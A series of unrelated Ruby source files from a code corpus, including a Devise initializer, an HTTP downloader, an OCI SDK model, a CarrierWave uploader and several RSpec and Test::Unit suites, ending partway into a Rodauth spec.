# to behave the same regardless if the e-mail provided was right or wrong.
# Does not affect registerable.
# config.paranoid = true
# By default Devise will store the user in session. You can skip storage for
# particular strategies by setting this option.
# Notice that if you are skipping storage for all authentication paths, you
# may want to disable generating routes to Devise's sessions controller by
# passing skip: :sessions to `devise_for` in your config/routes.rb
config.skip_session_storage = [:http_auth]
# By default, Devise cleans up the CSRF token on authentication to
# avoid CSRF token fixation attacks. This means that, when using AJAX
# requests for sign in and sign up, you need to get a new CSRF token
# from the server. You can disable this option at your own risk.
# config.clean_up_csrf_token_on_authentication = true
# When false, Devise will not attempt to reload routes on eager load.
# This can reduce the time taken to boot the app but if your application
# requires the Devise mappings to be loaded during boot time the application
# won't boot properly.
# config.reload_routes = true
# ==> Configuration for :database_authenticatable
# For bcrypt, this is the cost for hashing the password and defaults to 12. If
# using other algorithms, it sets how many times you want the password to be hashed.
# The number of stretches used for generating the hashed password are stored
# with the hashed password. This allows you to change the stretches without
# invalidating existing passwords.
#
# Limiting the stretches to just one in testing will increase the performance of
# your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use
# a value less than 10 in other environments. Note that, for bcrypt (the default
# algorithm), the cost increases exponentially with the number of stretches (e.g.
# a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation).
config.stretches = Rails.env.test? ? 1 : 12
# Set up a pepper to generate the hashed password.
# config.pepper = 'd04a09dbc6fe7a5d20a8c77c098f36dc8e26541db8c84e4b71377dc84f28a6a51878106674e0119cf70b68cabe06cdb243ad48d3c2f52d72c98d7196bd3c22d1'
# Send a notification to the original email when the user's email is changed.
# config.send_email_changed_notification = false
# Send a notification email when the user's password is changed.
# config.send_password_change_notification = false
# ==> Configuration for :confirmable
# A period that the user is allowed to access the website even without
# confirming their account. For instance, if set to 2.days, the user will be
# able to access the website for two days without confirming their account,
# access will be blocked just in the third day.
# You can also set it to nil, which will allow the user to access the website
# without confirming their account.
# Default is 0.days, meaning the user cannot access the website without
# confirming their account.
# config.allow_unconfirmed_access_for = 2.days
# A period that the user is allowed to confirm their account before their
# token becomes invalid. For example, if set to 3.days, the user can confirm
# their account within 3 days after the mail was sent, but on the fourth day
# their account can't be confirmed with the token any more.
# Default is nil, meaning there is no restriction on how long a user can take
# before confirming their account.
# config.confirm_within = 3.days
# If true, requires any email changes to be confirmed (exactly the same way as
# initial account confirmation) to be applied. Requires additional unconfirmed_email
# db field (see migrations). Until confirmed, new email is stored in
# unconfirmed_email column, and copied to email column on successful confirmation.
config.reconfirmable = true
# Defines which key will be used when confirming an account
# config.confirmation_keys = [:email]
# ==> Configuration for :rememberable
# The time the user will be remembered without asking for credentials again.
# config.remember_for = 2.weeks
# Invalidates all the remember me tokens when the user signs out.
config.expire_all_remember_me_on_sign_out = true
# If true, extends the user's remember period when remembered via cookie.
# config.extend_remember_period = false
# Options to be passed to the created cookie. For instance, you can set
# secure: true in order to force SSL only cookies.
# config.rememberable_options = {}
# ==> Configuration for :validatable
# Range for password length.
config.password_length = 6..128
# Email regex used to validate email formats. It simply asserts that
# one (and only one) @ exists in the given string. This is mainly
# to give user feedback and not to assert the e-mail validity.
config.email_regexp = /\A[^@\s]+@[^@\s]+\z/
# ==> Configuration for :timeoutable
# The time you want to timeout the user session without activity. After this
# time the user will be asked for credentials again. Default is 30 minutes.
# config.timeout_in = 30.minutes
# ==> Configuration for :lockable
# Defines which strategy will be used to lock an account.
# :failed_attempts = Locks an account after a number of failed attempts to sign in.
# :none = No lock strategy. You should handle locking by yourself.
# config.lock_strategy = :failed_attempts
# Defines which key will be used when locking and unlocking an account
# config.unlock_keys = [:email]
# Defines which strategy will be used to unlock an account.
# :email = Sends an unlock link to the user email
# :time = Re-enables login after a certain amount of time (see :unlock_in below)
# :both = Enables both strategies
# :none = No unlock strategy. You should handle unlocking by yourself.
# config.unlock_strategy = :both
# Number of authentication tries before locking an account if lock_strategy
# is failed attempts.
# config.maximum_attempts = 20
# Time interval to unlock the account if :time is enabled as unlock_strategy.
# config.unlock_in = 1.hour
# Warn on the last attempt before the account is locked.
# config.last_attempt_warning = true
# ==> Configuration for :recoverable
#
# Defines which key will be used when recovering the password for an account
# config.reset_password_keys = [:email]
# Time interval you can reset your password with a reset password key.
# Don't put a too small interval or your users won't have the time to
# change their passwords.
config.reset_password_within = 6.hours
# When set to false, does not sign a user in automatically after their password is
# reset. Defaults to true, so a user is signed in automatically after a reset.
# config.sign_in_after_reset_password = true
# ==> Configuration for :encryptable
# Allow you to use another hashing or encryption algorithm besides bcrypt (default).
# You can use :sha1, :sha512 or algorithms from others authentication tools as
# :clearance_sha1, :authlogic_sha512 (then you should set stretches above to 20
# for default behavior) and :restful_authentication_sha1 (then you should set
# stretches to 10, and copy REST_AUTH_SITE_KEY to pepper).
#
# Require the `devise-encryptable` gem when using anything other than bcrypt
# config.encryptor = :sha512
# ==> Scopes configuration
# Turn scoped views on. Before rendering "sessions/new", it will first check for
# "users/sessions/new". It's turned off by default because it's slower if you
# are using only default views.
config.scoped_views = true
# Configure the default scope given to Warden. By default it's the first
# devise role declared in your routes (usually :user).
# config.default_scope = :user
# Set this configuration to false if you want /users/sign_out to sign out
# only the current scope. By default, Devise signs out all scopes.
# config.sign_out_all_scopes = true
# ==> Navigation configuration
# Lists the formats that should be treated as navigational. Formats like
# :html, should redirect to the sign in page when the user does not have
# access, but formats like :xml or :json, should return 401.
#
# If you have any extra navigational formats, like :iphone or :mobile, you
# should add them to the navigational formats lists.
#
# The "*/*" below is required to match Internet Explorer requests.
# config.navigational_formats = ['*/*', :html]
# The default HTTP method used to sign out a resource. Default is :delete.
config.sign_out_via = :delete
# ==> OmniAuth
# Add a new OmniAuth provider. Check the wiki for more information on setting
# up on your models and hooks.
# config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo'
# ==> Warden configuration
# If you want to use other strategies, that are not supported by Devise, or
# change the failure app, you can configure them inside the config.warden block.
#
# config.warden do |manager|
# manager.intercept_401 = false
# manager.default_strategies(scope: :user).unshift :some_external_strategy
# end
# ==> Mountable engine configurations
# When using Devise inside an engine, let's call it `MyEngine`, and this engine
# is mountable, there are some extra configurations to be taken into account.
# The following options are available, assuming the engine is mounted as:
#
# mount MyEngine, at: '/my_engine'
#
# The router that invoked `devise_for`, in the example above, would be:
# config.router_name = :my_engine
#
# When using OmniAuth, Devise cannot automatically set OmniAuth path,
# so you need to do it manually. For the users scope, it would be:
# config.omniauth_path_prefix = '/my_engine/users/auth'
# ==> Turbolinks configuration
# If your app is using Turbolinks, Turbolinks::Controller needs to be included to make redirection work correctly:
#
# ActiveSupport.on_load(:devise_failure_app) do
# include Turbolinks::Controller
# end
# ==> Configuration for :registerable
# When set to false, does not sign a user in automatically after their password is
# changed. Defaults to true, so a user is signed in automatically after changing a password.
# config.sign_in_after_change_password = true
end
| 48.541667 | 154 | 0.752328 |
5d7400a4b1c428d1420ef05ba19ee83914eedba8 | 1,484 | # encoding: utf-8
module DwcaHunter
class Downloader
attr_reader :url
def initialize(source_url, file_path)
@source_url = source_url
@file_path = file_path
@url = Url.new(source_url)
@download_length = 0
@filename = nil
end
# downloads a given file into a specified filename.
# If block is given returns download progress
def download
raise "#{@source_url} is not accessible" unless @url.valid?
f = open(@file_path,'wb')
count = 0
@url.net_http.request_get(@url.path) do |r|
r.read_body do |s|
@download_length += s.length
f.write s
if block_given?
count += 1
if count % 100 == 0
yield @download_length
end
end
end
end
f.close
downloaded = @download_length
@download_length = 0
downloaded
end
def download_with_percentage
start_time = Time.now
download do |r|
percentage = r.to_f/@url.header.content_length * 100
elapsed_time = Time.now - start_time
eta = calculate_eta(percentage, elapsed_time)
res = { percentage: percentage,
elapsed_time: elapsed_time,
eta: eta }
yield res
end
end
protected
def calculate_eta(percentage, elapsed_time)
eta = elapsed_time/percentage * 100 - elapsed_time
eta = 1.0 if eta <= 0
eta
end
end
end
| 24.327869 | 65 | 0.584232 |
4a37410ddef279ec1c74f842be2900fb6b41d206 | 362 | # frozen_string_literal: true
module Solargraph::LanguageServer::Message::TextDocument
class PrepareRename < Base
def process
line = params['position']['line']
col = params['position']['character']
set_result host.sources.find(params['textDocument']['uri']).cursor_at(Solargraph::Position.new(line, col)).range.to_hash
end
end
end
| 30.166667 | 126 | 0.712707 |
916290075e26573723a5d408a9526fec5a5e3f10 | 530 | Pod::Spec.new do |s|
s.name = 'PWLoadMoreTableFooter'
s.version = '1.0'
s.license = 'MIT'
s.homepage = 'https://github.com/puttin/PWLoadMoreTableFooter'
s.authors = { 'Puttin Wong' => '[email protected]' }
s.summary = 'A similar control to load more control.'
s.source = { :git => 'https://github.com/puttin/PWLoadMoreTableFooter.git', :tag => '1.0' }
s.source_files = 'PWLoadMoreTableFooter/PWLoadMoreTableFooterView.{h,m}'
s.requires_arc = true
s.platform = :ios
end
| 40.769231 | 99 | 0.633962 |
625aba0b3d7a16ae6da7c4dba7d9fa37cbf7999e | 2,934 | # frozen_string_literal: true
module QA
RSpec.describe 'Create', :requires_admin do
describe 'Codeowners' do
let(:files) do
[
{
name: 'file.txt',
content: 'foo'
},
{
name: 'README.md',
content: 'bar'
}
]
end
before do
# Add two new users to a project as members
Flow::Login.sign_in
@user = Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
@user2 = Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_2, Runtime::Env.gitlab_qa_password_2)
@project = Resource::Project.fabricate_via_api! do |project|
project.name = "codeowners"
end
Runtime::Feature.enable(:invite_members_group_modal)
@project.visit!
Page::Project::Menu.perform(&:click_members)
Page::Project::Members.perform do |members_page|
members_page.add_member(@user.username)
members_page.add_member(@user2.username)
end
end
it 'displays owners specified in CODEOWNERS file', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347763' do
codeowners_file_content =
<<-CONTENT
* @#{@user2.username}
*.txt @#{@user.username}
CONTENT
files << {
name: 'CODEOWNERS',
content: codeowners_file_content
}
# Push CODEOWNERS and test files to the project
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = @project
push.files = files
push.commit_message = 'Add CODEOWNERS and test files'
end
@project.visit!
# Check the files and code owners
Page::Project::Show.perform do |project_page|
project_page.click_file 'file.txt'
end
expect(page).to have_content(@user.name)
expect(page).not_to have_content(@user2.name)
@project.visit!
Page::Project::Show.perform do |project_page|
project_page.click_file 'README.md'
end
expect(page).to have_content(@user2.name)
expect(page).not_to have_content(@user.name)
# Check the files and code owners when refactor_blob_viewer is enabled
Runtime::Feature.enable(:refactor_blob_viewer, project: @project)
@project.visit!
Page::Project::Show.perform do |project_page|
project_page.click_file 'file.txt'
end
expect(page).to have_content(@user.name)
expect(page).not_to have_content(@user2.name)
@project.visit!
Page::Project::Show.perform do |project_page|
project_page.click_file 'README.md'
end
expect(page).to have_content(@user2.name)
expect(page).not_to have_content(@user.name)
end
end
end
end
| 30.5625 | 136 | 0.610429 |
33d21efd4187b60ad6ba8caef8cb958eca7ead29 | 382 | require "rails_helper"
FEC_API_KEY = ENV["fec_key"]
RSpec.describe Committee, :type => :model do
describe ".for" do
it "retrieves the appropriate candidate based on an id" do
expect(FEC).to receive(:request).with("candidate/45/committees?api_key=#{FEC_API_KEY}&sort_hide_null=true&sort=name&per_page=100&page=1").and_return([])
Committee.for(45)
end
end
end | 38.2 | 158 | 0.722513 |
1872aaf6a40ed186051d7cfb53f5172da537aae2 | 14,684 | # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.
require 'date'
require 'logger'
# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength
module OCI
# An update available for a Windows managed instance.
class OsManagement::Models::WindowsUpdate
UPDATE_TYPE_ENUM = [
UPDATE_TYPE_SECURITY = 'SECURITY'.freeze,
UPDATE_TYPE_BUG = 'BUG'.freeze,
UPDATE_TYPE_ENHANCEMENT = 'ENHANCEMENT'.freeze,
UPDATE_TYPE_OTHER = 'OTHER'.freeze,
UPDATE_TYPE_UNKNOWN_ENUM_VALUE = 'UNKNOWN_ENUM_VALUE'.freeze
].freeze
IS_ELIGIBLE_FOR_INSTALLATION_ENUM = [
IS_ELIGIBLE_FOR_INSTALLATION_INSTALLABLE = 'INSTALLABLE'.freeze,
IS_ELIGIBLE_FOR_INSTALLATION_NOT_INSTALLABLE = 'NOT_INSTALLABLE'.freeze,
IS_ELIGIBLE_FOR_INSTALLATION_UNKNOWN = 'UNKNOWN'.freeze,
IS_ELIGIBLE_FOR_INSTALLATION_UNKNOWN_ENUM_VALUE = 'UNKNOWN_ENUM_VALUE'.freeze
].freeze
INSTALLATION_REQUIREMENTS_ENUM = [
INSTALLATION_REQUIREMENTS_EULA_ACCEPTANCE_REQUIRED = 'EULA_ACCEPTANCE_REQUIRED'.freeze,
INSTALLATION_REQUIREMENTS_SOFTWARE_MEDIA_REQUIRED = 'SOFTWARE_MEDIA_REQUIRED'.freeze,
INSTALLATION_REQUIREMENTS_USER_INTERACTION_REQUIRED = 'USER_INTERACTION_REQUIRED'.freeze,
INSTALLATION_REQUIREMENTS_UNKNOWN_ENUM_VALUE = 'UNKNOWN_ENUM_VALUE'.freeze
].freeze
# **[Required]** Windows Update name.
# @return [String]
attr_accessor :display_name
# **[Required]** Unique identifier for the Windows update. NOTE - This is not an OCID,
# but is a unique identifier assigned by Microsoft.
# Example: `6981d463-cd91-4a26-b7c4-ea4ded9183ed`
#
# @return [String]
attr_accessor :name
# Information about the Windows Update.
# @return [String]
attr_accessor :description
# **[Required]** The purpose of this update.
# @return [String]
attr_reader :update_type
# size of the package in bytes
# @return [Integer]
attr_accessor :size_in_bytes
# Indicates whether the update can be installed using OSMS.
# @return [String]
attr_reader :is_eligible_for_installation
# List of requirements forinstalling on a managed instances
# @return [Array<String>]
attr_reader :installation_requirements
# Indicates whether a reboot may be required to complete installation of this update.
# @return [BOOLEAN]
attr_accessor :is_reboot_required_for_installation
# List of the Microsoft Knowledge Base Article Ids related to this Windows Update.
# @return [Array<String>]
attr_accessor :kb_article_ids
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
# rubocop:disable Style/SymbolLiteral
'display_name': :'displayName',
'name': :'name',
'description': :'description',
'update_type': :'updateType',
'size_in_bytes': :'sizeInBytes',
'is_eligible_for_installation': :'isEligibleForInstallation',
'installation_requirements': :'installationRequirements',
'is_reboot_required_for_installation': :'isRebootRequiredForInstallation',
'kb_article_ids': :'kbArticleIds'
# rubocop:enable Style/SymbolLiteral
}
end
# Attribute type mapping.
def self.swagger_types
{
# rubocop:disable Style/SymbolLiteral
'display_name': :'String',
'name': :'String',
'description': :'String',
'update_type': :'String',
'size_in_bytes': :'Integer',
'is_eligible_for_installation': :'String',
'installation_requirements': :'Array<String>',
'is_reboot_required_for_installation': :'BOOLEAN',
'kb_article_ids': :'Array<String>'
# rubocop:enable Style/SymbolLiteral
}
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
# @option attributes [String] :display_name The value to assign to the {#display_name} property
# @option attributes [String] :name The value to assign to the {#name} property
# @option attributes [String] :description The value to assign to the {#description} property
# @option attributes [String] :update_type The value to assign to the {#update_type} property
# @option attributes [Integer] :size_in_bytes The value to assign to the {#size_in_bytes} property
# @option attributes [String] :is_eligible_for_installation The value to assign to the {#is_eligible_for_installation} property
# @option attributes [Array<String>] :installation_requirements The value to assign to the {#installation_requirements} property
# @option attributes [BOOLEAN] :is_reboot_required_for_installation The value to assign to the {#is_reboot_required_for_installation} property
# @option attributes [Array<String>] :kb_article_ids The value to assign to the {#kb_article_ids} property
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
self.display_name = attributes[:'displayName'] if attributes[:'displayName']
raise 'You cannot provide both :displayName and :display_name' if attributes.key?(:'displayName') && attributes.key?(:'display_name')
self.display_name = attributes[:'display_name'] if attributes[:'display_name']
self.name = attributes[:'name'] if attributes[:'name']
self.description = attributes[:'description'] if attributes[:'description']
self.update_type = attributes[:'updateType'] if attributes[:'updateType']
raise 'You cannot provide both :updateType and :update_type' if attributes.key?(:'updateType') && attributes.key?(:'update_type')
self.update_type = attributes[:'update_type'] if attributes[:'update_type']
self.size_in_bytes = attributes[:'sizeInBytes'] if attributes[:'sizeInBytes']
raise 'You cannot provide both :sizeInBytes and :size_in_bytes' if attributes.key?(:'sizeInBytes') && attributes.key?(:'size_in_bytes')
self.size_in_bytes = attributes[:'size_in_bytes'] if attributes[:'size_in_bytes']
self.is_eligible_for_installation = attributes[:'isEligibleForInstallation'] if attributes[:'isEligibleForInstallation']
raise 'You cannot provide both :isEligibleForInstallation and :is_eligible_for_installation' if attributes.key?(:'isEligibleForInstallation') && attributes.key?(:'is_eligible_for_installation')
self.is_eligible_for_installation = attributes[:'is_eligible_for_installation'] if attributes[:'is_eligible_for_installation']
self.installation_requirements = attributes[:'installationRequirements'] if attributes[:'installationRequirements']
raise 'You cannot provide both :installationRequirements and :installation_requirements' if attributes.key?(:'installationRequirements') && attributes.key?(:'installation_requirements')
self.installation_requirements = attributes[:'installation_requirements'] if attributes[:'installation_requirements']
self.is_reboot_required_for_installation = attributes[:'isRebootRequiredForInstallation'] unless attributes[:'isRebootRequiredForInstallation'].nil?
raise 'You cannot provide both :isRebootRequiredForInstallation and :is_reboot_required_for_installation' if attributes.key?(:'isRebootRequiredForInstallation') && attributes.key?(:'is_reboot_required_for_installation')
self.is_reboot_required_for_installation = attributes[:'is_reboot_required_for_installation'] unless attributes[:'is_reboot_required_for_installation'].nil?
self.kb_article_ids = attributes[:'kbArticleIds'] if attributes[:'kbArticleIds']
raise 'You cannot provide both :kbArticleIds and :kb_article_ids' if attributes.key?(:'kbArticleIds') && attributes.key?(:'kb_article_ids')
self.kb_article_ids = attributes[:'kb_article_ids'] if attributes[:'kb_article_ids']
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Custom attribute writer method checking allowed values (enum).
# @param [Object] update_type Object to be assigned
def update_type=(update_type)
# rubocop:disable Style/ConditionalAssignment
if update_type && !UPDATE_TYPE_ENUM.include?(update_type)
OCI.logger.debug("Unknown value for 'update_type' [" + update_type + "]. Mapping to 'UPDATE_TYPE_UNKNOWN_ENUM_VALUE'") if OCI.logger
@update_type = UPDATE_TYPE_UNKNOWN_ENUM_VALUE
else
@update_type = update_type
end
# rubocop:enable Style/ConditionalAssignment
end
# Custom attribute writer method checking allowed values (enum).
# @param [Object] is_eligible_for_installation Object to be assigned
def is_eligible_for_installation=(is_eligible_for_installation)
# rubocop:disable Style/ConditionalAssignment
if is_eligible_for_installation && !IS_ELIGIBLE_FOR_INSTALLATION_ENUM.include?(is_eligible_for_installation)
OCI.logger.debug("Unknown value for 'is_eligible_for_installation' [" + is_eligible_for_installation + "]. Mapping to 'IS_ELIGIBLE_FOR_INSTALLATION_UNKNOWN_ENUM_VALUE'") if OCI.logger
@is_eligible_for_installation = IS_ELIGIBLE_FOR_INSTALLATION_UNKNOWN_ENUM_VALUE
else
@is_eligible_for_installation = is_eligible_for_installation
end
# rubocop:enable Style/ConditionalAssignment
end
# Custom attribute writer method checking allowed values (enum).
# @param [Object] installation_requirements Object to be assigned
def installation_requirements=(installation_requirements)
# rubocop:disable Style/ConditionalAssignment
if installation_requirements.nil?
@installation_requirements = nil
else
@installation_requirements =
installation_requirements.collect do |item|
if INSTALLATION_REQUIREMENTS_ENUM.include?(item)
item
else
OCI.logger.debug("Unknown value for 'installation_requirements' [#{item}]. Mapping to 'INSTALLATION_REQUIREMENTS_UNKNOWN_ENUM_VALUE'") if OCI.logger
INSTALLATION_REQUIREMENTS_UNKNOWN_ENUM_VALUE
end
end
end
# rubocop:enable Style/ConditionalAssignment
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# Checks equality by comparing each attribute.
# @param [Object] other the other object to be compared
def ==(other)
return true if equal?(other)
self.class == other.class &&
display_name == other.display_name &&
name == other.name &&
description == other.description &&
update_type == other.update_type &&
size_in_bytes == other.size_in_bytes &&
is_eligible_for_installation == other.is_eligible_for_installation &&
installation_requirements == other.installation_requirements &&
is_reboot_required_for_installation == other.is_reboot_required_for_installation &&
kb_article_ids == other.kb_article_ids
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# @see the `==` method
# @param [Object] other the other object to be compared
def eql?(other)
self == other
end
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[display_name, name, description, update_type, size_in_bytes, is_eligible_for_installation, installation_requirements, is_reboot_required_for_installation, kb_article_ids].hash
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
public_method("#{key}=").call(
attributes[self.class.attribute_map[key]]
.map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) }
)
end
elsif !attributes[self.class.attribute_map[key]].nil?
public_method("#{key}=").call(
OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]])
)
end
# or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = public_method(attr).call
next if value.nil? && !instance_variable_defined?("@#{attr}")
hash[param] = _to_hash(value)
end
hash
end
private
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
| 44.362538 | 245 | 0.717924 |
39d88333e810d082bbb4cd771efaa2b26037f29e | 1,471 | module ActionView
module CompiledTemplates #:nodoc:
# holds compiled template code
end
# = Action View Context
#
# Action View contexts are supplied to Action Controller to render template.
# The default Action View context is ActionView::Base.
#
# In order to work with ActionController, a Context must implement:
#
# Context#render_partial[options]
# - responsible for setting options[:_template]
# - Returns String with the rendered partial
# options<Hash>:: see _render_partial in ActionView::Base
# Context#render_template[template, layout, options, partial]
# - Returns String with the rendered template
# template<ActionView::Template>:: The template to render
# layout<ActionView::Template>:: The layout to render around the template
# options<Hash>:: See _render_template_with_layout in ActionView::Base
# partial<Boolean>:: Whether or not the template to render is a partial
#
# An Action View context can also mix in Action View's helpers. In order to
# mix in helpers, a context must implement:
#
# Context#controller
# - Returns an instance of AbstractController
#
# In any case, a context must mix in ActionView::Context, which stores compiled
# template and provides the output buffer.
module Context
include CompiledTemplates
attr_accessor :output_buffer
def convert_to_model(object)
object.respond_to?(:to_model) ? object.to_model : object
end
end
end | 37.717949 | 81 | 0.732835 |
b987eb8d39519305ddb89341d0ed73a4b05a5244 | 1,598 | class ImageUploader < CarrierWave::Uploader::Base
# Include RMagick or MiniMagick support:
# include CarrierWave::RMagick
include CarrierWave::MiniMagick
# Choose what kind of storage to use for this uploader:
storage :fog
# Override the directory where uploaded files will be stored.
# This is a sensible default for uploaders that are meant to be mounted:
def store_dir
"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
end
# Provide a default URL as a default if there hasn't been a file uploaded:
# def default_url(*args)
# # For Rails 3.1+ asset pipeline compatibility:
# # ActionController::Base.helpers.asset_path("fallback/" + [version_name, "default.png"].compact.join('_'))
#
# "/images/fallback/" + [version_name, "default.png"].compact.join('_')
# end
# Process files as they are uploaded:
# process scale: [200, 300]
#
# def scale(width, height)
# # do something
# end
# Create different versions of your uploaded files:
version :thumb do
process resize_to_fit: [200, 200]
end
version :thumb100 do
process resize_to_fit: [100, 100]
end
version :thumb50 do
process resize_to_fit: [50, 50]
end
# Add a white list of extensions which are allowed to be uploaded.
# For images you might use something like this:
# def extension_whitelist
# %w(jpg jpeg gif png)
# end
# Override the filename of the uploaded files:
# Avoid using model.id or version_name here, see uploader/store.rb for details.
# def filename
# "something.jpg" if original_filename
# end
end
| 29.054545 | 112 | 0.701502 |
d5293966be8ee5de2f6180e7c64bba0954aec276 | 473 | require "bundler/setup"
require "puppet_factset"
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = ".rspec_status"
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
EXTRA_FACT_KEY = "extra_fact"
EXTRA_FACT_VALUE = "this is an extra fact"
OVERRIDE_FACT_VALUE = "fakeos"
MERGED_DIR = "spec/fixtures/merged"
UNMERGED_DIR = "spec/fixtures/unmerged"
| 26.277778 | 63 | 0.725159 |
ff0324340c4ce207188a4c9bbfdbf0e3a3e5c7c3 | 460 | cask :v1 => 'handbrake' do
version '0.10.1'
sha256 '7c6f231889433d932d3d483df8f4f90fab517386987376542176dd8d2d032bd2'
url "http://download.handbrake.fr/releases/#{version}/HandBrake-#{version}-MacOSX.6_GUI_x86_64.dmg"
appcast 'http://handbrake.fr/appcast.x86_64.xml',
:sha256 => 'f0e700c39b76c16dba12ff8b931ae75ae4d764f1e8d1f5b2deb9231e5a445390'
name 'HandBrake'
homepage 'https://handbrake.fr'
license :oss
app 'HandBrake.app'
end
| 32.857143 | 101 | 0.758696 |
388b9f8a1bb071d9778a1e6c9aaa6276483d902b | 3,926 | require 'test_helper'
class TestPrecedence < Test::Unit::TestCase
def test_matching_get_strings_have_precedence_over_matching_get_regexes
FakeWeb.register_uri(:get, "http://example.com/test", :body => "string")
FakeWeb.register_uri(:get, %r|http://example\.com/test|, :body => "regex")
response = Net::HTTP.start("example.com") { |query| query.get('/test') }
assert_equal "string", response.body
end
def test_matching_any_strings_have_precedence_over_matching_any_regexes
FakeWeb.register_uri(:any, "http://example.com/test", :body => "string")
FakeWeb.register_uri(:any, %r|http://example\.com/test|, :body => "regex")
response = Net::HTTP.start("example.com") { |query| query.get('/test') }
assert_equal "string", response.body
end
def test_matching_get_strings_have_precedence_over_matching_any_strings
FakeWeb.register_uri(:get, "http://example.com/test", :body => "get method")
FakeWeb.register_uri(:any, "http://example.com/test", :body => "any method")
response = Net::HTTP.start("example.com") { |query| query.get('/test') }
assert_equal "get method", response.body
# registration order should not matter
FakeWeb.register_uri(:any, "http://example.com/test2", :body => "any method")
FakeWeb.register_uri(:get, "http://example.com/test2", :body => "get method")
response = Net::HTTP.start("example.com") { |query| query.get('/test2') }
assert_equal "get method", response.body
end
def test_matching_any_strings_have_precedence_over_matching_get_regexes
FakeWeb.register_uri(:any, "http://example.com/test", :body => "any string")
FakeWeb.register_uri(:get, %r|http://example\.com/test|, :body => "get regex")
response = Net::HTTP.start("example.com") { |query| query.get('/test') }
assert_equal "any string", response.body
end
def test_registered_strings_and_uris_are_equivalent_so_second_takes_precedence
FakeWeb.register_uri(:get, "http://example.com/test", :body => "string")
FakeWeb.register_uri(:get, URI.parse("http://example.com/test"), :body => "uri")
response = Net::HTTP.start("example.com") { |query| query.get('/test') }
assert_equal "uri", response.body
FakeWeb.register_uri(:get, URI.parse("http://example.com/test2"), :body => "uri")
FakeWeb.register_uri(:get, "http://example.com/test2", :body => "string")
response = Net::HTTP.start("example.com") { |query| query.get('/test2') }
assert_equal "string", response.body
end
def test_identical_registration_replaces_previous_registration
FakeWeb.register_uri(:get, "http://example.com/test", :body => "first")
FakeWeb.register_uri(:get, "http://example.com/test", :body => "second")
response = Net::HTTP.start("example.com") { |query| query.get('/test') }
assert_equal "second", response.body
end
def test_identical_registration_replaces_previous_registration_accounting_for_normalization
FakeWeb.register_uri(:get, "http://example.com/test?", :body => "first")
FakeWeb.register_uri(:get, "http://example.com:80/test", :body => "second")
response = Net::HTTP.start("example.com") { |query| query.get('/test') }
assert_equal "second", response.body
end
def test_identical_registration_replaces_previous_registration_accounting_for_query_params
FakeWeb.register_uri(:get, "http://example.com/test?a=1&b=2", :body => "first")
FakeWeb.register_uri(:get, "http://example.com/test?b=2&a=1", :body => "second")
response = Net::HTTP.start("example.com") { |query| query.get('/test?a=1&b=2') }
assert_equal "second", response.body
end
def test_identical_registration_replaces_previous_registration_with_regexes
FakeWeb.register_uri(:get, /test/, :body => "first")
FakeWeb.register_uri(:get, /test/, :body => "second")
response = Net::HTTP.start("example.com") { |query| query.get('/test') }
assert_equal "second", response.body
end
end
| 49.075 | 93 | 0.701732 |
33edcdfa12b96d4c8d9dd4ba9bef8cb7e622d1d6 | 11,373 | require_relative 'spec_helper'
describe 'Rodauth email auth feature' do
it "should support logging in use link sent via email, without a password for the account" do
rodauth do
